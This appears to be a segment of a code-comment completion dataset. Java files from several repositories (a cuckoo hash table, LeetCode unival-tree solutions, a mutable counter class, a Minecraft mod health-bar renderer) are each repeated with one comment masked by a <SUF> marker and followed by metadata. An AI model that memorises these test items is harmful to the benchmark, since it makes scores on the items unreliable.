of entries // bucketSize - entriesPerBucket public IntBufferCuckoo(WritableCuckooConfig cuckooConfig, ByteBuffer byteBuf) { super(cuckooConfig); subTables = new SubTable[numSubTables]; for (int i = 0; i < subTables.length; i++) { IntBuffer buf; IntBuffer values; int valueBufSizeInts; int entrySizeAtoms; int bucketSizeAtoms; int bufferSizeAtoms; int bufferSizeBytes; int valuesSizeBytes; int subtableSizeBytes; int bufStartBytes; int valuesStartBytes; valueBufSizeInts = subTableBuckets * entriesPerBucket; entrySizeAtoms = SubTable._singleEntrySize; bucketSizeAtoms = SubTable._singleEntrySize * entriesPerBucket; bufferSizeAtoms = subTableBuckets * bucketSizeAtoms; bufferSizeBytes = bufferSizeAtoms * Integer.BYTES; valuesSizeBytes = valueBufSizeInts * Integer.BYTES; subtableSizeBytes = bufferSizeBytes + valuesSizeBytes; bufStartBytes = subtableSizeBytes * i; valuesStartBytes = subtableSizeBytes * i + bufferSizeBytes; buf = ((ByteBuffer) byteBuf .duplicate() .position(bufStartBytes) .limit(bufStartBytes + bufferSizeBytes)) .slice() .asIntBuffer(); values = ((ByteBuffer) byteBuf .duplicate() .position(valuesStartBytes) .limit(valuesStartBytes + valuesSizeBytes)) .slice() .asIntBuffer(); subTables[i] = new SubTable( i, cuckooConfig.getNumSubTableBuckets(), entriesPerBucket, extraShiftPerTable[numSubTables] * i, buf, values); } setSubTables(subTables); } public int get(Integer key) { int _key; _key = Integer.hashCode(key); for (SubTable subTable : subTables) { int rVal; rVal = subTable.get(_key); if (rVal != empty) { return rVal; } } return IntCuckooConstants.noSuchValue; } public void put(Integer key, int value) { throw new UnsupportedOperationException(); } public void display() { for (int i = 0; i < subTables.length; i++) { log.info("subTable {}", i); subTables[i].display(); } } class SubTable extends SubTableBase { private final int id; private final IntBuffer buf; private final IntBuffer values; private final int keyShift; private static final int keyOffset = 0; private static final int _singleEntrySize = 1; SubTable( int id, int numBuckets, int entriesPerBucket, int extraShift, IntBuffer buf, IntBuffer values) { super(numBuckets, entriesPerBucket, _singleEntrySize); // System.out.println("numEntries: "+ numBuckets +"\tentriesPerBucket: "+ entriesPerBucket); this.id = id; this.buf = buf; this.values = values; // buf = new long[bufferSizeAtoms]; // values = new int[numBuckets * entriesPerBucket]; keyShift = extraShift; // clear(); } @Override boolean remove(Integer key) { throw new UnsupportedOperationException(); } int get(int key) { int bucketIndex; if (debug) { log.info(" get {} {}", id, key); } bucketIndex = getBucketIndex(key); for (int i = 0; i < entriesPerBucket; i++) { int entryIndex; // if (entryMatches(msl, lsl, index, i)) { entryIndex = ((int) ((int) key >>> balanceShift) + i) & entriesMask; // entryIndex = i; if (entryMatches(key, bucketIndex, entryIndex)) { return getValue(bucketIndex, entryIndex); } } return empty; } private int getBucketIndex(int key) { // return Math.abs((int)(lsl >> keyShift)) % capacity; if (debug) { // System.out.printf("%x\t%x\t%x\t%d\n", lsl, bitMask, ((int)(lsl >> keyShift) & // bitMask), ((int)(lsl >> // keyShift) & bitMask)); log.info("bucketIndex {} -> {}", key, ((int) (key >>> keyShift) & bitMask)); } return (int) (key >>> keyShift) & bitMask; } void display() { for (int i = 0; i < numBuckets(); i++) { displayBucket(i); } } private void displayBucket(int bucketIndex) { log.info(" bucket {}", bucketIndex); for (int i = 0; i < entriesPerBucket; i++) { displayEntry(bucketIndex, i); } } private void displayEntry(int bucketIndex, int entryIndex) { log.info("{} {}", bucketIndex, entryString(bucketIndex, entryIndex)); } private String entryString(int bucketIndex, int entryIndex) { int baseOffset; baseOffset = getHTEntryIndex(bucketIndex, entryIndex); return "" + buf.get(baseOffset + keyOffset) + "\t" + values.get(bucketIndex); } protected final boolean isEmpty(int bucketIndex, int entryIndex) { return getValue(bucketIndex, entryIndex) == empty; } private boolean entryMatches(int key, int bucketIndex, int entryIndex) { int baseOffset; // displayEntry(bucketIndex, entryIndex); baseOffset = getHTEntryIndex(bucketIndex, entryIndex); // System.out.println("\t"+ entryIndex +"\t"+ bucketIndex +"\t"+ baseOffset); // System.out.printf("%x:%x\t%x:%x\n", // buf[baseOffset + mslOffset], buf[baseOffset + lslOffset], // msl, lsl); return buf.get(baseOffset + keyOffset) == key; } int getValue(int bucketIndex, int entryIndex) { return values.get(bucketIndex * entriesPerBucket + entryIndex); } int getKey(int bucketIndex, int entryIndex) { int baseOffset; baseOffset = getHTEntryIndex(bucketIndex, entryIndex); return buf.get(baseOffset + keyOffset); } @Override void clear() { throw new UnsupportedOperationException(); } } @Override public Iterator<IntKeyIntEntry> iterator() { return new CuckooIterator(); } class CuckooIterator extends CuckooIteratorBase implements Iterator<IntKeyIntEntry> { CuckooIterator() { super(); } @Override public IntKeyIntEntry next() { IntKeyIntEntry mapEntry; // precondition: moveToNonEmpty() has been called mapEntry = new IntKeyIntEntry( subTables[subTable].getKey(bucket, entry), subTables[subTable].getValue(bucket, entry)); moveToNonEmpty(); return mapEntry; } boolean curIsEmpty() { return subTables[subTable].getValue(bucket, entry) == empty; } } }
morganstanley/optimus-cirrus
optimus/silverking/projects/silverking/src/main/java/com/ms/silverking/collection/cuckoo/IntBufferCuckoo.java
2,543
// values = new int[numBuckets * entriesPerBucket];
line_comment
nl
/* * Morgan Stanley makes this available to you under the Apache License, Version 2.0 (the "License"). * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0. * See the NOTICE file distributed with this work for additional information regarding copyright ownership. * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.ms.silverking.collection.cuckoo; import java.nio.ByteBuffer; import java.nio.IntBuffer; import java.util.Iterator; import com.ms.silverking.cloud.dht.collection.DHTKeyCuckooBase; import com.ms.silverking.cloud.dht.collection.DHTKeyIntEntry; import com.ms.silverking.cloud.dht.common.DHTKey; import org.slf4j.LoggerFactory; import org.slf4j.Logger; /** */ public class IntBufferCuckoo extends CuckooBase<Integer> implements Iterable<IntKeyIntEntry> { private final SubTable[] subTables; private static final int empty = IntCuckooConstants.empty; private static final int[] extraShiftPerTable = {-1, -1, 32, -1, 16, -1, -1, -1, 8}; private static Logger log = LoggerFactory.getLogger(IntBufferCuckoo.class); private static final boolean debug = false; private static final boolean debugCycle = false; // entry - key/value entry // bucket - group of entries // bucketSize - entriesPerBucket public IntBufferCuckoo(WritableCuckooConfig cuckooConfig, ByteBuffer byteBuf) { super(cuckooConfig); subTables = new SubTable[numSubTables]; for (int i = 0; i < subTables.length; i++) { IntBuffer buf; IntBuffer values; int valueBufSizeInts; int entrySizeAtoms; int bucketSizeAtoms; int bufferSizeAtoms; int bufferSizeBytes; int valuesSizeBytes; int subtableSizeBytes; int bufStartBytes; int valuesStartBytes; valueBufSizeInts = subTableBuckets * entriesPerBucket; entrySizeAtoms = SubTable._singleEntrySize; bucketSizeAtoms = SubTable._singleEntrySize * entriesPerBucket; bufferSizeAtoms = subTableBuckets * bucketSizeAtoms; bufferSizeBytes = bufferSizeAtoms * Integer.BYTES; valuesSizeBytes = valueBufSizeInts * Integer.BYTES; subtableSizeBytes = bufferSizeBytes + valuesSizeBytes; bufStartBytes = subtableSizeBytes * i; valuesStartBytes = subtableSizeBytes * i + bufferSizeBytes; buf = ((ByteBuffer) byteBuf .duplicate() .position(bufStartBytes) .limit(bufStartBytes + bufferSizeBytes)) .slice() .asIntBuffer(); values = ((ByteBuffer) byteBuf .duplicate() .position(valuesStartBytes) .limit(valuesStartBytes + valuesSizeBytes)) .slice() .asIntBuffer(); subTables[i] = new SubTable( i, cuckooConfig.getNumSubTableBuckets(), entriesPerBucket, extraShiftPerTable[numSubTables] * i, buf, values); } setSubTables(subTables); } public int get(Integer key) { int _key; _key = Integer.hashCode(key); for (SubTable subTable : subTables) { int rVal; rVal = subTable.get(_key); if (rVal != empty) { return rVal; } } return IntCuckooConstants.noSuchValue; } public void put(Integer key, int value) { throw new UnsupportedOperationException(); } public void display() { for (int i = 0; i < subTables.length; i++) { log.info("subTable {}", i); subTables[i].display(); } } class SubTable extends SubTableBase { private final int id; private final IntBuffer buf; private final IntBuffer values; private final int keyShift; private static final int keyOffset = 0; private static final int _singleEntrySize = 1; SubTable( int id, int numBuckets, int entriesPerBucket, int extraShift, IntBuffer buf, IntBuffer values) { super(numBuckets, entriesPerBucket, _singleEntrySize); // System.out.println("numEntries: "+ numBuckets +"\tentriesPerBucket: "+ entriesPerBucket); this.id = id; this.buf = buf; this.values = values; // buf = new long[bufferSizeAtoms]; // values =<SUF> keyShift = extraShift; // clear(); } @Override boolean remove(Integer key) { throw new UnsupportedOperationException(); } int get(int key) { int bucketIndex; if (debug) { log.info(" get {} {}", id, key); } bucketIndex = getBucketIndex(key); for (int i = 0; i < entriesPerBucket; i++) { int entryIndex; // if (entryMatches(msl, lsl, index, i)) { entryIndex = ((int) ((int) key >>> balanceShift) + i) & entriesMask; // entryIndex = i; if (entryMatches(key, bucketIndex, entryIndex)) { return getValue(bucketIndex, entryIndex); } } return empty; } private int getBucketIndex(int key) { // return Math.abs((int)(lsl >> keyShift)) % capacity; if (debug) { // System.out.printf("%x\t%x\t%x\t%d\n", lsl, bitMask, ((int)(lsl >> keyShift) & // bitMask), ((int)(lsl >> // keyShift) & bitMask)); log.info("bucketIndex {} -> {}", key, ((int) (key >>> keyShift) & bitMask)); } return (int) (key >>> keyShift) & bitMask; } void display() { for (int i = 0; i < numBuckets(); i++) { displayBucket(i); } } private void displayBucket(int bucketIndex) { log.info(" bucket {}", bucketIndex); for (int i = 0; i < entriesPerBucket; i++) { displayEntry(bucketIndex, i); } } private void displayEntry(int bucketIndex, int entryIndex) { log.info("{} {}", bucketIndex, entryString(bucketIndex, entryIndex)); } private String entryString(int bucketIndex, int entryIndex) { int baseOffset; baseOffset = getHTEntryIndex(bucketIndex, entryIndex); return "" + buf.get(baseOffset + keyOffset) + "\t" + values.get(bucketIndex); } protected final boolean isEmpty(int bucketIndex, int entryIndex) { return getValue(bucketIndex, entryIndex) == empty; } private boolean entryMatches(int key, int bucketIndex, int entryIndex) { int baseOffset; // displayEntry(bucketIndex, entryIndex); baseOffset = getHTEntryIndex(bucketIndex, entryIndex); // System.out.println("\t"+ entryIndex +"\t"+ bucketIndex +"\t"+ baseOffset); // System.out.printf("%x:%x\t%x:%x\n", // buf[baseOffset + mslOffset], buf[baseOffset + lslOffset], // msl, lsl); return buf.get(baseOffset + keyOffset) == key; } int getValue(int bucketIndex, int entryIndex) { return values.get(bucketIndex * entriesPerBucket + entryIndex); } int getKey(int bucketIndex, int entryIndex) { int baseOffset; baseOffset = getHTEntryIndex(bucketIndex, entryIndex); return buf.get(baseOffset + keyOffset); } @Override void clear() { throw new UnsupportedOperationException(); } } @Override public Iterator<IntKeyIntEntry> iterator() { return new CuckooIterator(); } class CuckooIterator extends CuckooIteratorBase implements Iterator<IntKeyIntEntry> { CuckooIterator() { super(); } @Override public IntKeyIntEntry next() { IntKeyIntEntry mapEntry; // precondition: moveToNonEmpty() has been called mapEntry = new IntKeyIntEntry( subTables[subTable].getKey(bucket, entry), subTables[subTable].getValue(bucket, entry)); moveToNonEmpty(); return mapEntry; } boolean curIsEmpty() { return subTables[subTable].getValue(bucket, entry) == empty; } } }
False
1,955
13
2,089
13
2,284
13
2,089
13
2,490
17
false
false
false
false
false
true
4,403
60277_2
__________________________________________________________________________________________________ sample 0 ms submission /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode(int x) { val = x; } * } */ class Solution { TreeNode prev = null; public boolean isUnivalTree(TreeNode root) { if(root == null) return true; if(prev != null){ if(prev.val != root.val) return false; } prev = root; if(isUnivalTree(root.left) && isUnivalTree(root.right)){ return true; } return false; } } __________________________________________________________________________________________________ sample 35488 kb submission // Base case root = null // Let left be val of left node. If left node is null, left = root.val // Let right be val of right node. If right node is null, right = root.val // Return root.val = left && root.val == root.right && isValid(root.left) && isValid(root.right) class Solution { public boolean isUnivalTree(TreeNode root) { if (root == null) return true; int left = (root.left == null) ? root.val : root.left.val; int right = (root.right == null) ? root.val : root.right.val; return root.val == left && root.val == right && isUnivalTree(root.left) && isUnivalTree(root.right); } } __________________________________________________________________________________________________
strengthen/LeetCode
Java/965.java
425
// Let left be val of left node. If left node is null, left = root.val
line_comment
nl
__________________________________________________________________________________________________ sample 0 ms submission /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode(int x) { val = x; } * } */ class Solution { TreeNode prev = null; public boolean isUnivalTree(TreeNode root) { if(root == null) return true; if(prev != null){ if(prev.val != root.val) return false; } prev = root; if(isUnivalTree(root.left) && isUnivalTree(root.right)){ return true; } return false; } } __________________________________________________________________________________________________ sample 35488 kb submission // Base case root = null // Let left<SUF> // Let right be val of right node. If right node is null, right = root.val // Return root.val = left && root.val == root.right && isValid(root.left) && isValid(root.right) class Solution { public boolean isUnivalTree(TreeNode root) { if (root == null) return true; int left = (root.left == null) ? root.val : root.left.val; int right = (root.right == null) ? root.val : root.right.val; return root.val == left && root.val == right && isUnivalTree(root.left) && isUnivalTree(root.right); } } __________________________________________________________________________________________________
False
322
19
368
20
413
20
368
20
425
20
false
false
false
false
false
true
292
189585_1
package com.rs.utils; import java.util.concurrent.atomic.AtomicInteger; /** * The container class that contains functions to simplify the modification of a * number. * <p> * <p> * This class is similar in functionality to {@link AtomicInteger} but does not * support atomic operations, and therefore should not be used across multiple * threads. * @author lare96 <http://github.com/lare96> */ public final class MutableNumber extends Number implements Comparable<MutableNumber> { // pure lare code, echt ongelofelijk dit /** * The constant serial version UID for serialization. */ private static final long serialVersionUID = -7475363158492415879L; /** * The value present within this counter. */ private int value; /** * Creates a new {@link MutableNumber} with {@code value}. * @param value the value present within this counter. */ public MutableNumber(int value) { this.value = value; } /** * Creates a new {@link MutableNumber} with a value of {@code 0}. */ public MutableNumber() { this(0); } @Override public String toString() { return Integer.toString(value); } @Override public int hashCode() { return Integer.hashCode(value); } @Override public boolean equals(Object obj) { if(this == obj) return true; if(obj == null) return false; if(!(obj instanceof MutableNumber)) return false; MutableNumber other = (MutableNumber) obj; return value == other.value; } @Override public int compareTo(MutableNumber o) { return Integer.compare(value, o.value); } /** * {@inheritDoc} * <p> * This function equates to the {@link MutableNumber#get()} function. */ @Override public int intValue() { return value; } @Override public long longValue() { return (long) value; } @Override public float floatValue() { return (float) value; } @Override public double doubleValue() { return (double) value; } /** * Returns the value within this counter and then increments it by * {@code amount} to a maximum of {@code maximum}. * @param amount the amount to increment it by. * @param maximum the maximum amount it will be incremented to. * @return the value before it is incremented. */ public int getAndIncrement(int amount, int maximum) { int val = value; value += amount; if(value > maximum) value = maximum; return val; } /** * Returns the value within this counter and then increments it by * {@code amount}. * @param amount the amount to increment it by. * @return the value before it is incremented. */ public int getAndIncrement(int amount) { return getAndIncrement(amount, Integer.MAX_VALUE); } /** * Returns the value within this counter and then increments it by an amount * of {@code 1}. * @return the value before it is incremented. */ public int getAndIncrement() { return getAndIncrement(1); } //guys I have to go, it's me stan //It's taraweeh time, gonna go pray and come back //u guys can stay on teamviewer just shut it down when ur done, ill //tell my mom not to close the laptop //just dont do stupid stuff please xD ok -at rtnp ty <3 /** * Increments the value within this counter by {@code amount} to a maximum * of {@code maximum} and then returns it. * @param amount the amount to increment it by. * @param maximum the maximum amount it will be incremented to. * @return the value after it is incremented. */ public int incrementAndGet(int amount, int maximum) { value += amount; if(value > maximum) value = maximum; return value; } /** * Increments the value within this counter by {@code amount} and then * returns it. * @param amount the amount to increment it by. * @return the value after it is incremented. */ public int incrementAndGet(int amount) { return incrementAndGet(amount, Integer.MAX_VALUE); } /** * Increments the value within this counter by {@code 1} and then returns * it. * @return the value after it is incremented. */ public int incrementAndGet() { return incrementAndGet(1); } /** * Returns the value within this counter and then decrements it by * {@code amount} to a minimum of {@code minimum}. * @param amount the amount to decrement it by. * @param minimum the minimum amount it will be decremented to. * @return the value before it is decremented. */ public int getAndDecrement(int amount, int minimum) { int val = value; value -= amount; if(value < minimum) value = minimum; return val; } /** * Returns the value within this counter and then decrements it by * {@code amount}. * @param amount the amount to decrement it by. * @return the value before it is decremented. */ public int getAndDecrement(int amount) { return getAndDecrement(amount, Integer.MIN_VALUE); } /** * Returns the value within this counter and then decrements it by an amount * of {@code 1}. * @return the value before it is decremented. */ public int getAndDecrement() { return getAndDecrement(1); } /** * Decrements the value within this counter by {@code amount} to a minimum * of {@code minimum} and then returns it. * @param amount the amount to decrement it by. * @param minimum the minimum amount it will be decremented to. * @return the value after it is decremented. */ public int decrementAndGet(int amount, int minimum) { value -= amount; if(value < minimum) value = minimum; return value; } /** * Decrements the value within this counter by {@code amount} and then * returns it. * @param amount the amount to decrement it by. * @return the value after it is decremented. */ public int decrementAndGet(int amount) { return decrementAndGet(amount, Integer.MIN_VALUE); } /** * Decrements the value within this counter by {@code 1} and then returns * it. * @return the value after it is decremented. */ public int decrementAndGet() { return decrementAndGet(1); } /** * Gets the value present within this counter. This function equates to the * inherited {@link MutableNumber#intValue()} function. * @return the value present. */ public int get() { return value; } /** * Sets the value within this container to {@code value}. * @param value the new value to set. */ public void set(int value) { this.value = value; } }
CSS-Lletya/open727
727 server/src/com/rs/utils/MutableNumber.java
1,977
// pure lare code, echt ongelofelijk dit
line_comment
nl
package com.rs.utils; import java.util.concurrent.atomic.AtomicInteger; /** * The container class that contains functions to simplify the modification of a * number. * <p> * <p> * This class is similar in functionality to {@link AtomicInteger} but does not * support atomic operations, and therefore should not be used across multiple * threads. * @author lare96 <http://github.com/lare96> */ public final class MutableNumber extends Number implements Comparable<MutableNumber> { // pure lare<SUF> /** * The constant serial version UID for serialization. */ private static final long serialVersionUID = -7475363158492415879L; /** * The value present within this counter. */ private int value; /** * Creates a new {@link MutableNumber} with {@code value}. * @param value the value present within this counter. */ public MutableNumber(int value) { this.value = value; } /** * Creates a new {@link MutableNumber} with a value of {@code 0}. */ public MutableNumber() { this(0); } @Override public String toString() { return Integer.toString(value); } @Override public int hashCode() { return Integer.hashCode(value); } @Override public boolean equals(Object obj) { if(this == obj) return true; if(obj == null) return false; if(!(obj instanceof MutableNumber)) return false; MutableNumber other = (MutableNumber) obj; return value == other.value; } @Override public int compareTo(MutableNumber o) { return Integer.compare(value, o.value); } /** * {@inheritDoc} * <p> * This function equates to the {@link MutableNumber#get()} function. */ @Override public int intValue() { return value; } @Override public long longValue() { return (long) value; } @Override public float floatValue() { return (float) value; } @Override public double doubleValue() { return (double) value; } /** * Returns the value within this counter and then increments it by * {@code amount} to a maximum of {@code maximum}. * @param amount the amount to increment it by. * @param maximum the maximum amount it will be incremented to. * @return the value before it is incremented. */ public int getAndIncrement(int amount, int maximum) { int val = value; value += amount; if(value > maximum) value = maximum; return val; } /** * Returns the value within this counter and then increments it by * {@code amount}. * @param amount the amount to increment it by. * @return the value before it is incremented. */ public int getAndIncrement(int amount) { return getAndIncrement(amount, Integer.MAX_VALUE); } /** * Returns the value within this counter and then increments it by an amount * of {@code 1}. * @return the value before it is incremented. */ public int getAndIncrement() { return getAndIncrement(1); } //guys I have to go, it's me stan //It's taraweeh time, gonna go pray and come back //u guys can stay on teamviewer just shut it down when ur done, ill //tell my mom not to close the laptop //just dont do stupid stuff please xD ok -at rtnp ty <3 /** * Increments the value within this counter by {@code amount} to a maximum * of {@code maximum} and then returns it. * @param amount the amount to increment it by. * @param maximum the maximum amount it will be incremented to. * @return the value after it is incremented. */ public int incrementAndGet(int amount, int maximum) { value += amount; if(value > maximum) value = maximum; return value; } /** * Increments the value within this counter by {@code amount} and then * returns it. * @param amount the amount to increment it by. * @return the value after it is incremented. */ public int incrementAndGet(int amount) { return incrementAndGet(amount, Integer.MAX_VALUE); } /** * Increments the value within this counter by {@code 1} and then returns * it. * @return the value after it is incremented. */ public int incrementAndGet() { return incrementAndGet(1); } /** * Returns the value within this counter and then decrements it by * {@code amount} to a minimum of {@code minimum}. * @param amount the amount to decrement it by. * @param minimum the minimum amount it will be decremented to. * @return the value before it is decremented. */ public int getAndDecrement(int amount, int minimum) { int val = value; value -= amount; if(value < minimum) value = minimum; return val; } /** * Returns the value within this counter and then decrements it by * {@code amount}. * @param amount the amount to decrement it by. * @return the value before it is decremented. */ public int getAndDecrement(int amount) { return getAndDecrement(amount, Integer.MIN_VALUE); } /** * Returns the value within this counter and then decrements it by an amount * of {@code 1}. * @return the value before it is decremented. */ public int getAndDecrement() { return getAndDecrement(1); } /** * Decrements the value within this counter by {@code amount} to a minimum * of {@code minimum} and then returns it. * @param amount the amount to decrement it by. * @param minimum the minimum amount it will be decremented to. * @return the value after it is decremented. */ public int decrementAndGet(int amount, int minimum) { value -= amount; if(value < minimum) value = minimum; return value; } /** * Decrements the value within this counter by {@code amount} and then * returns it. * @param amount the amount to decrement it by. * @return the value after it is decremented. */ public int decrementAndGet(int amount) { return decrementAndGet(amount, Integer.MIN_VALUE); } /** * Decrements the value within this counter by {@code 1} and then returns * it. * @return the value after it is decremented. */ public int decrementAndGet() { return decrementAndGet(1); } /** * Gets the value present within this counter. This function equates to the * inherited {@link MutableNumber#intValue()} function. * @return the value present. */ public int get() { return value; } /** * Sets the value within this container to {@code value}. * @param value the new value to set. */ public void set(int value) { this.value = value; } }
False
1,609
12
1,801
14
1,914
11
1,801
14
2,058
13
false
false
false
false
false
true
561
56767_4
package tconstruct.client; import static net.minecraftforge.client.event.RenderGameOverlayEvent.ElementType.HEALTH; import java.util.Random; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.Gui; import net.minecraft.entity.SharedMonsterAttributes; import net.minecraft.entity.ai.attributes.IAttributeInstance; import net.minecraft.potion.Potion; import net.minecraft.util.MathHelper; import net.minecraft.util.ResourceLocation; import net.minecraftforge.client.GuiIngameForge; import net.minecraftforge.client.event.RenderGameOverlayEvent; import net.minecraftforge.common.MinecraftForge; import org.lwjgl.opengl.GL11; import cpw.mods.fml.common.Loader; import cpw.mods.fml.common.eventhandler.EventPriority; import cpw.mods.fml.common.eventhandler.SubscribeEvent; import cpw.mods.fml.common.gameevent.TickEvent; public class HealthBarRenderer extends Gui { private static final boolean isRpghudLoaded = Loader.isModLoaded("rpghud"); private static final boolean isTukmc_vzLoaded = Loader.isModLoaded("tukmc_Vz"); private static final boolean isBorderlandsModLoaded = Loader.isModLoaded("borderlands"); private static final ResourceLocation TINKER_HEARTS = new ResourceLocation("tinker", "textures/gui/newhearts.png"); private static final Minecraft mc = Minecraft.getMinecraft(); private final Random rand = new Random(); private int updateCounter = 0; @SubscribeEvent public void onTick(TickEvent.ClientTickEvent event) { if (event.phase == TickEvent.Phase.START && !mc.isGamePaused()) { this.updateCounter++; } } /* HUD */ @SubscribeEvent(priority = EventPriority.HIGH) // Not highest for DualHotbar compatibility public void renderHealthbar(RenderGameOverlayEvent.Pre event) { if (event.type != RenderGameOverlayEvent.ElementType.HEALTH) { return; } // uses different display, displays health correctly by itself. if (isRpghudLoaded) { return; } if (isTukmc_vzLoaded && !isBorderlandsModLoaded) { // Loader check to avoid conflicting // with a GUI mod (thanks Vazkii!) return; } mc.mcProfiler.startSection("health"); GL11.glEnable(GL11.GL_BLEND); final int width = event.resolution.getScaledWidth(); final int height = event.resolution.getScaledHeight(); final int xBasePos = width / 2 - 91; int yBasePos = height - 39; boolean highlight = mc.thePlayer.hurtResistantTime / 3 % 2 == 1; if (mc.thePlayer.hurtResistantTime < 10) { highlight = false; } final IAttributeInstance attrMaxHealth = mc.thePlayer.getEntityAttribute(SharedMonsterAttributes.maxHealth); final int health = MathHelper.ceiling_float_int(mc.thePlayer.getHealth()); final int healthLast = MathHelper.ceiling_float_int(mc.thePlayer.prevHealth); final float healthMax = Math.min(20F, (float) attrMaxHealth.getAttributeValue()); final float absorb = mc.thePlayer.getAbsorptionAmount(); final int healthRows = MathHelper.ceiling_float_int((healthMax + absorb) / 2.0F / 10.0F); final int rowHeight = Math.max(10 - (healthRows - 2), 3); this.rand.setSeed(updateCounter * 312871L); int left = width / 2 - 91; int top = height - GuiIngameForge.left_height; if (!GuiIngameForge.renderExperiance) { top += 7; yBasePos += 7; } int regen = -1; if (mc.thePlayer.isPotionActive(Potion.regeneration)) { regen = updateCounter % 25; } final int TOP; int tinkerTextureY = 0; if (mc.theWorld.getWorldInfo().isHardcoreModeEnabled()) { TOP = 9 * 5; tinkerTextureY += 27; } else { TOP = 0; } final int BACKGROUND = (highlight ? 25 : 16); int MARGIN = 16; if (mc.thePlayer.isPotionActive(Potion.poison)) { MARGIN += 36; tinkerTextureY = 9; } else if (mc.thePlayer.isPotionActive(Potion.wither)) { MARGIN += 72; tinkerTextureY = 18; } float absorbRemaining = absorb; // Render vanilla hearts for (int i = MathHelper.ceiling_float_int((healthMax + absorb) / 2.0F) - 1; i >= 0; --i) { final int row = MathHelper.ceiling_float_int((float) (i + 1) / 10.0F) - 1; int x = left + i % 10 * 8; int y = top - row * rowHeight; if (health <= 4) y += rand.nextInt(2); if (i == regen) y -= 2; this.drawTexturedModalRect(x, y, BACKGROUND, TOP, 9, 9); // heart background texture if (highlight) { if (i * 2 + 1 < healthLast) { this.drawTexturedModalRect(x, y, MARGIN + 54, TOP, 9, 9); // full heart damage texture } else if (i * 2 + 1 == healthLast) { this.drawTexturedModalRect(x, y, MARGIN + 63, TOP, 9, 9); // half heart damage texture } } if (absorbRemaining > 0.0F) { if (absorbRemaining == absorb && absorb % 2.0F == 1.0F) { this.drawTexturedModalRect(x, y, MARGIN + 153, TOP, 9, 9); // half heart absorption texture } else { this.drawTexturedModalRect(x, y, MARGIN + 144, TOP, 9, 9); // full heart absorption texture } absorbRemaining -= 2.0F; } else if (i * 2 + 1 + 20 >= health) { // only draw red vanilla hearts when it won't be covered by tinkers' hearts if (i * 2 + 1 < health) { this.drawTexturedModalRect(x, y, MARGIN + 36, TOP, 9, 9); // full heart texture } else if (i * 2 + 1 == health) { this.drawTexturedModalRect(x, y, MARGIN + 45, TOP, 9, 9); // half heart texture } } } if (health > 20) { // Render tinkers' hearts mc.getTextureManager().bindTexture(TINKER_HEARTS); for (int i = Math.max(0, health / 20 - 2); i < health / 20; i++) { // uncomment the line below to help with debugging // yBasePos -=20; final int heartIndexMax = Math.min(10, (health - 20 * (i + 1)) / 2); for (int j = 0; j < heartIndexMax; j++) { int y = 0; if (j == regen) y -= 2; if ((i + 1) * 20 + j * 2 + 21 >= health) { // full heart texture this.drawTexturedModalRect(xBasePos + 8 * j, yBasePos + y, 18 * i, tinkerTextureY, 9, 9); } } if (health % 2 == 1 && heartIndexMax < 10) { int y = 0; if (heartIndexMax == regen) y -= 2; // half heart texture this.drawTexturedModalRect( xBasePos + 8 * heartIndexMax, yBasePos + y, 9 + 18 * i, tinkerTextureY, 9, 9); } } mc.getTextureManager().bindTexture(icons); } GuiIngameForge.left_height += 10; if (absorb > 0) GuiIngameForge.left_height += 10; GL11.glDisable(GL11.GL_BLEND); mc.mcProfiler.endSection(); event.setCanceled(true); MinecraftForge.EVENT_BUS.post(new RenderGameOverlayEvent.Post(event, HEALTH)); } }
GTNewHorizons/TinkersConstruct
src/main/java/tconstruct/client/HealthBarRenderer.java
2,429
// Render vanilla hearts
line_comment
nl
package tconstruct.client; import static net.minecraftforge.client.event.RenderGameOverlayEvent.ElementType.HEALTH; import java.util.Random; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.Gui; import net.minecraft.entity.SharedMonsterAttributes; import net.minecraft.entity.ai.attributes.IAttributeInstance; import net.minecraft.potion.Potion; import net.minecraft.util.MathHelper; import net.minecraft.util.ResourceLocation; import net.minecraftforge.client.GuiIngameForge; import net.minecraftforge.client.event.RenderGameOverlayEvent; import net.minecraftforge.common.MinecraftForge; import org.lwjgl.opengl.GL11; import cpw.mods.fml.common.Loader; import cpw.mods.fml.common.eventhandler.EventPriority; import cpw.mods.fml.common.eventhandler.SubscribeEvent; import cpw.mods.fml.common.gameevent.TickEvent; public class HealthBarRenderer extends Gui { private static final boolean isRpghudLoaded = Loader.isModLoaded("rpghud"); private static final boolean isTukmc_vzLoaded = Loader.isModLoaded("tukmc_Vz"); private static final boolean isBorderlandsModLoaded = Loader.isModLoaded("borderlands"); private static final ResourceLocation TINKER_HEARTS = new ResourceLocation("tinker", "textures/gui/newhearts.png"); private static final Minecraft mc = Minecraft.getMinecraft(); private final Random rand = new Random(); private int updateCounter = 0; @SubscribeEvent public void onTick(TickEvent.ClientTickEvent event) { if (event.phase == TickEvent.Phase.START && !mc.isGamePaused()) { this.updateCounter++; } } /* HUD */ @SubscribeEvent(priority = EventPriority.HIGH) // Not highest for DualHotbar compatibility public void renderHealthbar(RenderGameOverlayEvent.Pre event) { if (event.type != RenderGameOverlayEvent.ElementType.HEALTH) { return; } // uses different display, displays health correctly by itself. if (isRpghudLoaded) { return; } if (isTukmc_vzLoaded && !isBorderlandsModLoaded) { // Loader check to avoid conflicting // with a GUI mod (thanks Vazkii!) return; } mc.mcProfiler.startSection("health"); GL11.glEnable(GL11.GL_BLEND); final int width = event.resolution.getScaledWidth(); final int height = event.resolution.getScaledHeight(); final int xBasePos = width / 2 - 91; int yBasePos = height - 39; boolean highlight = mc.thePlayer.hurtResistantTime / 3 % 2 == 1; if (mc.thePlayer.hurtResistantTime < 10) { highlight = false; } final IAttributeInstance attrMaxHealth = mc.thePlayer.getEntityAttribute(SharedMonsterAttributes.maxHealth); final int health = MathHelper.ceiling_float_int(mc.thePlayer.getHealth()); final int healthLast = MathHelper.ceiling_float_int(mc.thePlayer.prevHealth); final float healthMax = Math.min(20F, (float) attrMaxHealth.getAttributeValue()); final float absorb = mc.thePlayer.getAbsorptionAmount(); final int healthRows = MathHelper.ceiling_float_int((healthMax + absorb) / 2.0F / 10.0F); final int rowHeight = 